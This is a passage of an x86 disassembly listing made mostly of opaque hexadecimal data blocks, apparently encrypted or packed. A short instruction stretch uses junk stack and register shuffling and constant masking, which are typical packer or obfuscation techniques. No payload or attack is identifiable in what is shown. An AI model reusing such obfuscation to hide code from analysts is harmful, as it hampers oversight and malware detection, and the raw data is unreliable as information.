		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0DCC9C351h
		dd 0A0343A48h, 0B58B18F4h, 62B1B05h, 953BBF66h,	3069BD8Bh
		dd 0B5FF062Bh, 62B18B9h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 0E1C35040h, 0EEA0EEC2h, 8BD5AED6h, 2B092185h
		dd 7DBD8906h, 0FF062B17h, 2B273195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 6BE1EA5Bh
		dd 9E96B02h, 76000000h,	6036D61h, 0F0693E39h, 95FF006Ah
		dd 62B2945h, 2CEBC08Bh,	80A221Fh, 4817B7F1h, 9241C16Fh
		dd 518C821h, 0EC7D42ECh, 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh
		dd 71C66537h, 0E9DCB85Bh, 0BD8393A0h, 10E8h, 5D05AB00h
		dd 0E74499D9h, 0A6AFEF5Fh, 558D77AFh, 2DBD29CEh, 5A062B2Bh
		dd 0C281C0B0h, 7002h, 0BEC78B66h, 678E2CDCh, 1113EE81h
		dd 8D29678Eh, 62B009Dh,	5E91A8Bh, 0D0000000h, 0CC6ED4A2h
		dd 6B9CF381h, 95290B6Dh, 62B2C31h, 55D8F381h, 895218C2h
		dd 2B009D8Dh, 0F3815906h, 65F32F3h, 1A89C28Ah, 5847B851h
		dd 83582A3Bh, 0C4B801EAh, 4A79F02Fh, 0AE94A4Ah,	91000000h
		dd 0B414336Dh, 0F8680EA5h, 1EE833Ah, 2D850Fh, 0AE80000h
		dd 39000000h, 87C41763h, 4BFF71A2h, 41B529E4h, 5F062B17h
		dd 3AE9h, 3013B500h, 7177F341h,	0FBD541BAh, 1C05081Eh
		dd 0E8CED5D2h, 12h, 58E496CCh, 6058AF8h, 0D98C175Bh, 0E3C72C8Ah
		dd 59FC1CFBh, 0FFFF5BE9h, 0CC4E28FFh, 0A257249h, 8D4B2491h
		dd 3351FA8Dh, 11890F06h, 0E9000000h, 0Ch, 7DADC83Ch, 35F3DFFDh
		dd 1D2181A7h, 0EE18D89h, 958B062Bh, 62B2031h, 21E185C7h
		dd 6848062Bh, 8B660000h, 0E585C7D7h, 62B2Bh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 5EF9C355h, 0FF0EE2D5h, 2B0A91B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8B5A65C3h, 2B2401B5h, 0E1B52906h, 0FF062B17h, 2B273195h
		dd 41F08106h, 6A5FE6BCh, 4595FF00h, 8B062B29h, 0A83DEBC0h
		dd 0D7D903CEh, 0C4ED71A0h, 87906C25h, 9B5E077Eh, 259F8E94h
		dd 92F2C7D5h, 1A6A7374h, 8928C6CAh, 85A213FFh, 0F921451Fh
		dd 246ABDD9h, 7B447DAAh, 0E9FFDFD9h, 0D8ED5DB1h, 0A235A43Ah
		dd 0D8E900EBh, 0C2000003h, 1473AF99h, 64837F41h, 0B5D2CEF0h
		dd 11E9AB2h, 5EAB6759h,	6658FE9Bh, 37114DAAh, 81BB9CFBh
		dd 4C6AEA05h, 57658A50h, 92D892D5h, 8194ACA8h, 0CE3329DAh
		dd 0FF1BB789h, 4E70E403h, 0E4C28201h, 271E7925h, 0F46A8501h
		dd 0A1B9D6D2h, 0E55309Fh, 413CF3Eh, 3EEFD189h, 4D497BE3h
		dd 872937C2h, 0FA94EBC0h, 44F9EEB7h, 6A24CB3h, 9C0D3329h
		dd 7FE8DC85h, 0A42AC4D0h, 253394EBh, 94EBA48Bh,	879B60FEh
		dd 53F5806h, 2EF9E723h,	0F8ADE2Bh, 0E8FD77C9h, 3E8DABADh
		dd 33B43620h, 51C96D26h, 0C88BD635h, 0FB17292Fh, 3C370410h
		dd 8AD0CF18h, 828D71B8h, 9D6E5207h, 0AB1B0CFDh,	0F8A1946h
		dd 8A947749h, 1AF08D03h, 5CEB730Bh, 491CBE30h, 0E04FD367h
		dd 0A9CD7307h, 8063AA40h, 931E4D9Eh, 7EF291D4h,	923EEFB4h
		dd 6749ED04h, 0A7D3B74Eh, 713906CBh, 0ECCA8A09h, 0FD8A031Fh
		dd 0E0h, 0E7D981D9h, 0A3A5B904h, 47E43648h, 0A5321448h
		dd 0EBC01597h, 37F66894h, 0D2FE8D18h, 94EBC058h, 0D4FC2D2Dh
		dd 94EBC056h, 0DDB8273Bh, 0B4474686h, 0CDC9EF69h, 4B94B2B2h
		dd 0FB32144Ch, 0A6CB3B28h, 6AEFAA39h, 0B0395756h, 0CF8AC6D8h
		dd 95887853h, 9E7BFDB1h, 1A2487B9h, 0BB0B02FEh,	8E9A29B6h
		dd 6D3F38FCh, 8E6D4B0Dh, 6BF61990h, 0BB102A2Ch,	4B6A66A7h
		dd 273121Ah, 0EE70CF1Ch, 550C8BD4h, 7894AEB0h, 0A01E8F93h
		dd 0C2291347h, 82CD2291h, 421A2476h, 25E17967h,	309FD424h
		dd 6F3F8524h, 956C879h,	7FDC6E7Ah, 0A9B17995h, 84EAD60h
		dd 3E6DFA36h, 4DE1716Bh, 0F00FFE87h, 0C677546Eh, 0A0EF7877h
		dd 9F470609h, 0C24DBC61h, 959DE0B6h, 0E11D3D79h, 32EED086h
		dd 0C8EE6625h, 28AE5FE3h, 54D6E271h, 2994EBC0h,	109AA631h
		dd 6594EBC0h, 0B30334F5h, 0C0CD7F8Dh, 0AD8094EBh, 0EBC0ED9Fh
		dd 62FE6094h, 60FA99C6h, 73550966h, 308997BAh, 4F8AC6F5h
		dd 0A3A5F8D3h, 0FD210985h, 596BF3AEh, 0C3DEC72h, 6B79B6BDh
		dd 6D3F15DDh, 9612342Ch, 8ED9FF79h, 0B704F703h,	5B523DC1h
		dd 4E0685C8h, 7692B6ABh, 7551DBE9h, 3A246D3Fh, 92B4ACF3h
		dd 69ED5645h, 86787D47h, 0D8BC72B9h, 0EB22667Bh, 0B094C918h
		dd 0F6CA8F0Ah, 4E68E837h, 78214D52h, 39C5776Bh,	1000000h
		dd 0F47F0271h, 0EFE843DDh, 0E47A516Bh, 60D04148h, 1AB690D0h
		dd 0C40ABFCDh, 0D5458AC6h, 5FD1FF8Ah, 326D3ED4h, 519C91FFh
		dd 0E703057Ah, 48085726h, 0AA1B26Eh, 91000000h,	5E6C681h
		dd 1C98BEB6h, 0E6C68178h, 0CDDB702Ah, 94EBC027h, 98E7C45Ah
		dd 632DFED8h, 0E1D06FAh, 0EBC04CE2h, 0CE190194h, 0EBC008A2h
		dd 72DD7D94h, 204C4117h, 94EBC08Eh, 0CAC35FC3h,	5F79FB14h
		dd 3CDEA2A3h, 24h, 0E1C7811Ah, 9BBDB70Ah, 76F2A14Ch, 995354F6h
		dd 93BA3422h, 53CF94EBh, 9376F804h, 170B94EBh, 34102896h
		dd 3E8DC81h, 49A284BCh,	705B6DF2h, 0B417312Dh, 0FCCFF169h
		dd 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h,	7B846808h
		dd 2C890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 2414895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		mov	esi, 6335243h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	dword ptr [esp], 585736B4h
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 585736B4h
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_544660
; ---------------------------------------------------------------------------
		db 0A5h, 1Dh, 0B8h
		dd 6335585h, 0E0FFC503h, 59D7F79Ch, 2A9E79F4h, 0B29B124h
		dd 2AF0A98Ch, 1D026934h, 634B7E2h, 113628B7h, 1CE3B04Eh
		dd 36192241h, 22B86660h, 11E93Dh, 37170000h, 358DD79Ch
		dd 81403D91h, 853D7404h, 6121B460h, 6E9h, 5B9B8300h, 0E95F8AAAh
		dd 0Fh,	0B9F11206h, 0BBCCC0F0h,	5C94B12Eh, 0F37A7FBh, 387h
		dd 0DA8B6600h, 66F9D68Bh, 125EDA81h, 0CE9h, 5BE66A00h
		dd 0D5228037h, 0A2D1195Eh, 0DE9CBh, 72920000h, 88923EC0h
		dd 0D8AA9138h, 0F07CB41h, 5E9D6B7h, 9A000000h, 3AA07A07h
		dd 0CE8h, 90879200h, 3AFF9A68h,	37D13491h, 8B6660A6h, 8E0FF3h
		dd 61000000h, 0EB81665Ah, 8EB76B3Ah, 0BE9h, 458E1A00h
		dd 0C5B652Ah, 77914F93h, 0C381F08Bh, 35326057h,	0E810Fh
		dd 9E90000h, 16000000h,	0D6FAACEEh, 0B0C84952h,	0E87ECD80h
		dd 10h,	0F4402ABEh, 22EE3478h, 0A722AA43h, 0D418C1F4h
		dd 68B8575Ah, 5F78F075h, 0CE9h,	16051A00h, 0EF93AC5Dh
		dd 0ED1DA093h, 0D820F98h, 0E9000000h, 8, 0FCA02CBDh, 0C007E045h
		dd 0FFBF0F60h, 61FA8B66h, 51FB8B66h, 592ED580h,	0FCEB70Fh
		dd 885h, 8E0F5000h, 0
		dd 0DBBF0F5Eh, 6890FFCh, 0F000000h, 84h, 820F00h, 0B4000000h
		dd 96C681D5h, 0F4FCB5Ch, 0C681CFB7h, 265BEDA1h,	800F75B1h
		dd 6, 870Fh, 60F50000h,	6E8h, 0D339A500h, 58C76CE2h, 61D98B66h
		dd 9A07E781h, 0EF8A7EC1h, 5E953h, 75C0000h, 5F0A879Ch
		dd 38B0Fh, 0B70F0000h, 0D98166FEh, 7E8AF81h, 84000000h
		dd 858E5A49h, 0ACB602B3h, 0C38B525Ah, 0FB8B6658h, 0FC64BEBFh
		dd 0FEA8A01h, 1382h, 0EE900h, 37D60000h, 4A696895h, 705D9225h
		dd 0C7628DB2h, 28C0Fh, 0F88B0000h, 0AE9h, 57138200h, 0AEAB1EDCh
		dd 66076150h, 8B1435B9h, 48E381F7h, 8B77381Eh, 0F08166F3h
		dd 0E85267F7h, 8, 0F2A397B1h, 0DFA3B296h, 5FFFD980h, 8A0FF558h
		dd 3, 813AEA80h, 4DEA41F0h, 6656563Bh, 0C475D381h, 8F0F5859h
		dd 4, 0CCA6BF66h, 5072DD80h, 58DFBF0Fh,	2820Fh,	5E570000h
		dd 0E8C0Fh, 5E80000h, 48000000h, 7B4EEEEh, 5EC0B70Fh, 7E9h
		dd 78A99F00h, 0F88B9B93h, 996B866h, 79CA8166h, 10E97Ah
		dd 8AAA0000h, 9253685Fh, 0D192518Bh, 426BA1E5h,	0BF661D52h
		dd 0BE66A18Dh, 9DBF6F8Ch, 0B25E5A4Dh, 5E83Eh, 88100000h
		dd 80D6A006h, 805FB2EEh, 66573ED4h, 5F6F06B9h, 0FCF8B66h
		dd 686h, 830F00h, 66000000h, 820FC88Bh,	0Fh, 0AE9h, 2B65FA00h
		dd 0E3C84279h, 0E9E835CAh, 0Fh,	706A81AEh, 0C04C0979h
		dd 4190D688h, 0BB873553h, 559C4D67h, 6E8h, 1279DB00h, 66ADE21Ah
		dd 0BB5AF88Bh, 7D6941E7h, 0E38166FCh, 0BE606264h, 4687F952h
		dd 0CE8h, 155EB900h, 8EF50E28h,	4891666Eh, 5E9CB1D9h, 0D3816661h
		dd 8B660847h, 0D08166C6h, 8D0FDAB0h, 6,	28AFDF81h, 9E9205Dh
		dd 0C8000000h, 4DA818F5h, 4313CEB8h, 0FD78B66h,	0B80h
		dd 5880F00h, 66000000h,	8DCDD881h, 3860Fh, 8B660000h, 10E9D9h
		dd 0BD4E0000h, 0DDB934B9h, 11E19036h, 0EAAA3B07h, 850F0CBAh
		dd 6, 7E7CC181h, 0CB812CC2h, 69C7ADA4h,	6E8h, 95D3500h
		dd 8BF0A148h, 81FC58F7h, 68EA2CEh, 8E85Fh, 0BAEB0000h
		dd 6F77B123h, 5AFCEFA6h, 66D3BF0Fh, 0E8B743BAh,	9, 9D691579h
		dd 0D42D738Dh, 0CE8C3h,	0A0570000h, 0BCC7DFF1h,	0B3DCADBh
		dd 890F4545h, 0
		dd 0B70F5A5Eh, 0B70F60DAh, 0F08B66DEh, 0AE95361h, 93000000h
		dd 86B97F86h, 0ACB2EB5h, 81665B47h, 66780CCBh, 0F61A0B8h
		dd 882h, 28B0F00h, 50000000h, 3820F5Bh,	0F000000h, 830FDEB7h
		dd 5, 96C98166h, 815660E4h, 63DCA0CAh, 5E95B03h, 68000000h
		dd 3AF970EAh, 9E95661h,	30000000h, 2559C328h, 6E5095EFh
		dd 81D68B5Bh, 286753E3h, 12D18048h, 0F850Fh, 7E80000h
		dd 9C000000h, 0CE196560h, 61600A62h, 44BA605Bh,	8A20605Ah
		dd 81F961E8h, 0F264AFC0h, 0FE96Dh, 0AD930000h, 0EE38CF26h
		dd 694F5B9Eh, 4BCC70D7h, 0E2F18053h, 12E9h, 0E697DE00h
		dd 4D23362Eh, 24CC3B11h, 0D8771464h, 66600F84h,	8B66C28Bh
		dd 0F88B57DFh, 0BE9F858h, 55000000h, 0BF2E61D9h, 0CA07AA76h
		dd 0B866E2A1h, 0BAB83B1Ch, 0E92C8BA5h, 8, 0A6CA7A51h, 0F106D5Ch
		dd 8697F181h, 0B70F73DFh, 13E8D8h, 9D1C0000h, 0AD89D02h
		dd 0E2EAA2D6h, 80BED1DDh, 867A65A3h, 0EE830h, 0A8B90000h
		dd 0AD554254h, 9F9E4A08h, 0DDE61475h, 8D0Fh, 595F0000h
		dd 82CB8166h, 0ADBE6603h, 0DA80F58Eh, 0B948B907h, 0F607DFBh
		dd 282h, 81616000h, 0CD303CF6h,	81666135h, 8B673CDBh, 61FDBAD7h
		dd 8F0F683Bh, 3, 0F15D280h, 885h, 2860F00h, 50000000h
		dd 0B6B4BB58h, 0BE93464h, 64000000h, 335E2F8Eh,	0E94FDB5Fh
		dd 0C38028E1h, 7BBA66B1h, 0DE89Fh, 8ACF0000h, 675849C2h
		dd 0C7FEE962h, 0E8A1F895h, 11h,	5C492EE3h, 40982B1Eh, 0A524BB12h
		dd 7F973D3Eh, 0E95B5F40h, 12h, 0CD04C81Dh, 7B20A38Dh, 0FABD69F5h
		dd 4708809Dh, 0BF0FE9C1h, 4EF480C7h, 5E9h, 0DBC0F500h
		dd 8B0F060Eh, 3, 0E8D18B66h, 0Fh, 25A9519h, 7C34D644h
		dd 47D36C2Eh, 0B8E5E222h, 70993F0h, 0F54FB75Eh,	10E8h
		dd 54CDD500h, 7899A551h, 0B4FE0463h, 462A6C97h,	0CA8A5AD9h
		dd 9E958B5h, 1F000000h,	8390887Ah, 0BD750EA8h, 13860Fh
		dd 0EE90000h, 0DA000000h, 0B77DEF1Dh, 6A0AB4B3h, 0CCEE76CBh
		dd 0BAEDB2E9h, 1A6702D8h, 0BE8h, 55A4DA00h, 3A98551Fh
		dd 0FADD264h, 0CE9h, 0AD22A800h, 0CE30A9Fh, 0FFA3929Bh
		dd 0C1815B8Dh, 9B00B51h, 0AE53B860h, 0F5510A89h, 0C181615Fh
		dd 33F38393h, 1A8F0Fh, 0EE80000h, 53000000h, 0FCA02CBDh
		dd 0C007E045h, 568A8BBDh, 860F53h, 5A000000h, 0E8CF8B66h
		dd 12h,	0E27565C4h, 157FD26Eh, 0A7CFDBDFh, 0F6D2AF9Bh
		dd 0B75986F5h, 0F180FC14h, 7E883h, 4B560000h, 0EDE4E18Dh
		dd 0CB8B66B9h, 7E85Eh, 0D8E0000h, 0B23363B5h, 8C0F7Eh
		dd 5A000000h, 0E121F781h, 8B571971h, 840F5AFAh,	5, 0CCD30DBFh
		dd 66F58A1Ch, 7CBEF88Bh, 660745FFh, 8160C18Bh, 941305DFh
		dd 0D78B6614h, 10E961h,	79390000h, 346F75D0h, 238D4D47h
		dd 883C6772h, 0F681F5B2h, 3D430CCBh, 0E7B96660h, 830F614Ah
		dd 2, 0B560CB8Bh, 28C0F19h, 60000000h, 93B16161h, 12E9h
		dd 4FCCB400h, 0D084CBD0h, 29B928D6h, 0BF13471h,	6691C419h
		dd 286AE181h, 68B0Fh, 0E3810000h, 42638C78h, 8E8C68Ah
		dd 77000000h, 62AA03B1h, 814EF5CEh, 15055BE7h, 7E95F7Ch
		dd 13000000h, 0BC7679B7h, 6E92C78h, 5C000000h, 27CC0C06h
		dd 31C081C1h, 66632E5Ah, 8166C38Bh, 0E89906D0h,	0Fh, 0FAD0B85Fh
		dd 585B5132h, 0F7F14839h, 0F987037Ch, 9E85Fh, 0F6A70000h
		dd 287B9570h, 0F945C864h, 8B0F5058h, 5,	0A59772B9h, 0F0BA5807h
		dd 0F2F3E48h, 8166C0B7h, 0FDAC9D1h, 383h, 0D8B70F00h, 60FEB70Fh
		dd 0FEB96660h, 0F47CBB87h, 616151CBh, 0EEC78166h, 5DDA808Dh
		dd 0E180D18Bh, 5E90Bh, 706E0000h, 0E82EA93Dh, 0Fh, 30CD79ECh
		dd 5DB0DD3Bh, 0FFCE8C56h, 60B868CEh, 8E0Fh, 8B660000h
		dd 665B61D3h, 1102E681h, 9E8h, 70338900h, 8263CE48h, 8B0FF681h
		dd 0
		dd 0EF81665Fh, 0D3812CA3h, 7B5A7B60h, 0BEBF5B52h, 0F3F0770h
		dd 88h,	0CA816600h, 0BF0F1E91h,	9E9F7h,	9A730000h, 0C219E108h
		dd 66295776h, 0EE9F18Bh, 22000000h, 0DE82EED4h,	39EB187Eh
		dd 38B96969h, 0C2816628h, 0A4B2DA48h, 0DC3B97BFh, 5BF95218h
		dd 0D98B6660h, 66D68B60h, 61C9FEB9h, 8E85761h, 1B000000h
		dd 5AE75925h, 0E841FCBCh, 0Bh, 11369C88h, 6189128Eh, 5E86397Eh
		dd 0BF0F585Bh, 0DE9CAh,	0D7980000h, 0E3569A99h,	0BAB3BD78h
		dd 52CC6B5Bh, 14E9h, 894B7200h,	0ABF5ED68h, 0C2B3C5FFh
		dd 36615198h, 0FF6B1C0Ch, 0F3805F85h, 880FFCADh, 3, 81D88B66h
		dd 7C248FE1h, 0B70F504Fh, 0BE958D3h, 0E2000000h, 0DCA3E9F1h
		dd 61A3DCEAh, 95B20DD0h, 8F0Fh,	8B0F0000h, 3, 0BEC1BF0Fh
		dd 32A105A0h, 0E9D18B66h, 8, 0A99109D4h, 49F27EAh, 148F0F60h
		dd 0E9000000h, 0Fh, 4C785CE3h, 0EC69881h, 0D286FC0Bh, 0E9496207h
		dd 5, 7D8DAF1Ch, 87B2611Dh, 0EA8166F9h,	0CF81E4F3h, 37557546h
		dd 73DC8060h, 810F61h, 0F000000h, 889h,	0E0815700h, 662A82F5h
		dd 6880F5Fh, 81000000h,	5F743EF0h, 0FBBF0F70h, 0FC0F080h
		dd 688h, 16E38100h, 0FC04EF8Ch,	8168DA80h, 8FC1FDF7h, 61F86023h
		dd 5860Fh, 34B80000h, 660C71DBh, 66B3DAB9h, 0FBE4CBAh
		dd 387h, 0CA8B6600h, 0E9D8B70Fh, 11h, 0DB912BDDh, 734AE749h
		dd 4ECA9260h, 268152DEh, 0D381FCABh, 51DDB8B8h,	0D1B70FF5h
		dd 0C870Fh, 7E90000h, 48000000h, 11ED6C30h, 0C18B185Bh
		dd 81DF8B66h, 0E2D1A2C3h, 0C281660Ch, 0CA8B5D33h, 7E9h
		dd 19F89D00h, 0E1A5E99Bh, 13E960h, 61190000h, 8ED385EEh
		dd 0C8F72D1Ch, 99C50D9Eh, 55631758h, 6CE28144h,	610ACBE8h
		dd 0FE6ED0BAh, 0DABF0F25h, 0FE8h, 89777B00h, 0B30308DCh
		dd 0D8B27DA0h, 8381F9B9h, 9E95Ah, 8BD80000h, 8EAF87A7h
		dd 0FAABAC0h, 38Bh, 0C6B70F00h,	1C850Fh, 8B0F0000h, 16h
		dd 11E9h, 3071ED00h, 6A830A3Fh,	0C366C00Ah, 0A705F5BFh
		dd 60B8F651h, 6621F3EFh, 0E96C70BAh, 0Ch, 0EDCF012Fh, 0E3CBCD02h
		dd 7388D31Fh, 0E7D064BAh, 0CB81661Dh, 8B668286h, 7BA66D9h
		dd 0D2B70F01h, 58C0Fh, 16BA0000h, 0E9449F5Eh, 0Eh, 0A365C2CEh
		dd 3DD254B8h, 56AAAF43h, 0B86625B3h, 0BA66888Bh, 0BF0FE694h
		dd 0AC981DBh, 0E8034BD2h, 10h, 4AFF6AE6h, 93F545FBh, 86B97F86h
		dd 0ACB2EB5h, 72E858BAh, 46B75962h, 0EBCA8166h,	0B1B5F953h
		dd 4C8ABA66h, 8E9h, 816DFF00h, 714218AFh, 13E89Fh, 0EF740000h
		dd 0E05416AAh, 47F2DA7Ch, 0F92E132Bh, 0CCDB8E98h, 5AEB8044h
		dd 2800F5Fh, 0B7000000h, 14BE661Fh, 66A2B6A5h, 0CA02C681h
		dd 8BFE8B66h, 58B0FFEh,	0BA000000h, 6A9B0C2Ah, 6870Fh
		dd 8C0F0000h, 0
		dd 5870Fh, 81660000h, 8B1C72C1h, 0CB8166CFh, 0BF0F839Ah
		dd 3880FD2h, 0F000000h,	0C981FBBFh, 6756D2CDh, 11E9h, 0A6B6FA00h
		dd 0DA1897F0h, 6A72ACA6h, 3AD7E3C3h, 0F78AFA39h, 0DE8h
		dd 35A14700h, 6D0E901Dh, 27042A5Ah, 0CE904C9h, 34000000h
		dd 5C8A42Fh, 2927A4DCh,	59C23187h, 1A830Fh, 0EE80000h
		dd 0FE000000h, 0CD317867h, 8C5C7778h, 0CE23C96Ch, 860F04h
		dd 5E000000h, 8073B966h, 9DBAF78Bh, 6641B1E9h, 381EDF81h
		dd 9E9h, 146F5500h, 73535750h, 0BA66AB9Bh, 81663D83h, 0F4D7EF3h
		dd 81h,	0CA8B6600h, 0EE9h, 0E86F3900h, 3ADC5312h, 215D1D50h
		dd 66503D21h, 0E86DD681h, 6840Fh, 0D7810000h, 7F100B4Ah
		dd 0A880CB81h, 8E81E64h, 3F000000h, 0F9BB9D77h,	8BEC5763h
		dd 0CE95FC7h, 0AB000000h, 0F86E0861h, 115ABAD0h, 6669892Ah
		dd 82B2F681h, 0E6C43FB8h, 820F6045h, 5,	28B828BBh, 6149B331h
		dd 0DE9h, 0F82FD800h, 0D7B3481Bh, 0F704FA8Ah, 66F87A99h
		dd 5688E4BBh, 0F5B77B6h, 0B70FD7B7h, 10E8F9h, 0A77C0000h
		dd 8353277Eh, 0A953B5FDh, 0DB5CF494h, 0EE83B2Ah, 92000000h
		dd 1C343659h, 7025E0F3h, 39AFA8EAh, 0C78166A5h,	5E5E9FC2h
		dd 0F3BF0F50h, 108A0F5Bh, 0F000000h, 0A8Fh, 5E900h, 22E30000h
		dd 66E624A6h, 0FC918B8h, 588h, 1DFCB800h, 0BF0F69C4h, 58E0FFBh
		dd 0BF000000h, 22294C90h, 1870F57h, 0FC000000h,	1B75159h
		dd 66C0805Eh, 602DF380h, 1800Fh, 66F50000h, 61525BBEh
		dd 0FE9h, 0C28D1200h, 0B38F3662h, 4E134B0Ch, 742BEA45h
		dd 810Fh, 5E90000h, 97000000h, 556C58B8h, 0E0EB8060h, 0EE9h
		dd 0D2A96900h, 3034CAE0h, 5B3A6938h, 61E412EBh,	7EEA8166h
		dd 58F55644h, 5E9h, 6D96000h, 0F98A98A7h, 18D0Fh, 66F50000h
		dd 0E0D7D981h, 8E9FA8Bh, 0A4000000h, 0C2B63E7Ch, 0FDD733Dh
		dd 38Eh, 0C88B6600h, 0CE960h, 57C40000h, 0BBA91057h, 4D074315h
		dd 8166BCCDh, 61E921D7h, 0DE8h,	0A413A900h, 10C7D3ECh
		dd 0D2A96979h, 5760CAE0h, 0FE958h, 7CE50000h, 8B9500E9h
		dd 0FF747E22h, 0A314A014h, 815A6119h, 0D0DF18E8h, 0F8BF0F3Bh
		dd 0DF8BC78Ah, 6072C480h, 0FCF88B66h, 0D68B6661h, 58A0Fh
		dd 81660000h, 0E9C75AD0h, 0Fh, 0DCB239C2h, 0C5DF3F6Bh
		dd 5EF4CED3h, 539416EAh, 5B38E280h, 0DE9h, 1AFE7200h, 8938D086h
		dd 34E9786Fh, 0E9515E69h, 0Bh, 0FC199376h, 92ABC20Ch, 5FA07593h
		dd 15DF8060h, 61C0B70Fh, 9E9h, 41EEA500h, 505C3B81h, 6660144Fh
		dd 8125F8BEh, 1BD29BCBh, 96B26144h, 14E9h, 653A7B00h, 10BAE66Bh
		dd 2C1C3F32h, 81674D51h, 888DD0E1h, 0C881667Dh,	0EE81CCF0h
		dd 18B9A7CEh, 6082A8BFh, 81665736h, 5BD4E7D1h, 58B0Fh
		dd 81660000h, 0E9EB94C6h, 11h, 7D87E547h, 2C7A55Fh, 8AA1622Fh
		dd 0C9628704h, 11E86089h, 0E000000h, 0ABDCF2C1h, 0CFA0D524h
		dd 20640012h, 0E6505DB2h, 14E9h, 0AB4C9A00h, 1FF8F334h
		dd 0DF6CDA9Eh, 353CA2E8h, 1F3E77CAh, 0E9605984h, 10h, 0BFB80495h
		dd 8951F090h, 15FD2326h, 263377D5h, 9C5E83B9h, 0F61612Bh
		dd 84h,	0D6BF0F00h, 7E9h, 53200B00h, 0A9B049EAh, 80D08B66h
		dd 0BF0F18F0h, 13E9FCDEh, 96000000h, 6255C966h,	9E657Fh
		dd 3B4A3F70h, 1C0BEE8Fh, 8B663538h, 0EF81F8C2h,	20D73587h
		dd 10E8h, 3724BD00h, 0BE0DC183h, 0C2FDBE24h, 6B005FF2h
		dd 0C6815033h, 319258EBh, 0FE8A595Eh, 0DE860h, 0F0BF0000h
		dd 8806A096h, 0B3DFBD2Ch, 0E979E85Ch, 0Fh, 0DA073A8Dh
		dd 7436998Bh, 0E44F20B7h, 5AF14443h, 816661FCh,	668D2FF0h
		dd 0E580CE8Bh, 12E927h,	6A9F0000h, 12D8158Eh, 993C6663h
		dd 4C271101h, 7A0FBEA6h, 2840Fh, 0F08B0000h, 66D8C180h
		dd 0D565E181h, 0C28166F8h, 816621B7h, 0FB98CCEh, 0BF0FCBBFh
		dd 0DBB70FF8h, 0FDFBF0Fh, 8B66D8BFh, 0BE9D3h, 78F80000h
		dd 9F09AAF8h, 3DFB2236h, 0E9C28B32h, 12h, 91B50B4Dh, 4C1612BDh
		dd 0FD086667h, 20BCFE3Ch, 8B665EDAh, 0CE8C7h, 7F5F0000h
		dd 0D099CD58h, 0CDCDC4D5h, 8B662E3Ch, 0CE859CBh, 8B000000h
		dd 0A0A30D64h, 50AB588Dh, 0FC0B4BA4h, 58BF665Eh, 10E972h
		dd 26FC0000h, 0C2CB6678h, 0E336EEC0h, 0DB664898h, 8B665D64h
		dd 0C18166FEh, 8166EED1h, 66A398F6h, 830FD08Bh,	11h, 0CE9h
		dd 86984100h, 955E3966h, 7BB7B5F9h, 0BF0F5382h,	0D88B5BC0h
		dd 38E0FF8h, 80000000h,	8D0F63D8h, 4, 928EBA66h, 8E9h
		dd 0A6685C00h, 66D2FF42h, 8E94Dh, 11770000h, 0AB38D5Dh
		dd 0B866B2BFh, 0DE8157Eh, 2C000000h, 0FB3DFA5Dh, 8D140AE6h
		dd 25F004h, 9E9h, 89EE7D00h, 26395E75h,	665F9053h, 93AEE681h
		dd 6311BF66h, 89C88166h, 0BE8CFh, 5C880000h, 5C2F9C2Fh
		dd 903DE104h, 6E9EEh, 7DF80000h, 4207F29Ah, 0F0CD805Bh
		dd 6E9h, 1F092A00h, 0F03FFF9h, 38Bh, 90E68000h,	0AD75C181h
		dd 0BEF57A48h, 4E73999Ch, 11E9h, 8CB13600h, 9953A533h
		dd 0D1212DEEh, 0DFAF9E9Ah, 0DF8B25F5h, 0FE5B760h, 0F61F6BFh
		dd 288h, 0FC28A00h, 8166DAB7h, 6690E6C7h, 5007D5BBh, 13E9515Fh
		dd 76000000h, 4F90840Bh, 7265EB54h, 0BFC079C9h,	0F82FD828h
		dd 0F5B481Bh, 1688h, 11E900h, 1DDC0000h, 0AE87C071h, 7185B434h
		dd 0F368FF58h, 0F6030ECh, 0D8Ch, 81666000h, 816F89E2h
		dd 18604EF1h, 0CE8B6134h, 0D08166F9h, 0CB8B7B10h, 860Fh
		dd 8F0F0000h, 3, 0E8F0B70Fh, 8,	0CF70F089h, 5B9550E2h
		dd 605EA3B3h, 0F61F58Ah, 68Ch, 71C38100h, 0F012240h, 382h
		dd 0F3C18000h, 1C880Fh,	0E9600000h, 13h, 0DDAE2E2Eh, 474BC085h
		dd 162D95EAh, 7C35A6F5h, 8BADDAD9h, 8F0F61FAh, 4, 58D08B56h
		dd 3880Fh, 0F0800000h, 0F8BAF806h, 0E80A3F40h, 8, 0D84E5C19h
		dd 7E9FC165h, 0F081665Ah, 7CB39E17h, 29E050BFh,	0DFBF0F22h
		dd 0EE9h, 2E674400h, 0C2A7E0A5h, 4164FF04h, 0F4857DFh
		dd 0CF81F2B7h, 6EA04661h, 0F6B70FF9h, 0CBBF0FFCh, 80F38B66h
		dd 0C28B77F4h, 0E9F8BF0Fh, 10h,	246B9348h, 707F0795h, 0E5076BA4h
		dd 39A9447h, 14E9h, 0B4A16400h,	0F21C370h, 0F104ECC7h
		dd 0B83A747Bh, 971D92E5h, 0E181665Fh, 0B8661B45h, 830FD70Ah
		dd 3, 0FD3BF0Fh, 81h, 9820F00h,	0F000000h, 389h, 0F2B70F00h
		dd 80DFBF0Fh, 860F3BE3h, 8, 2870Fh, 61600000h, 58F55651h
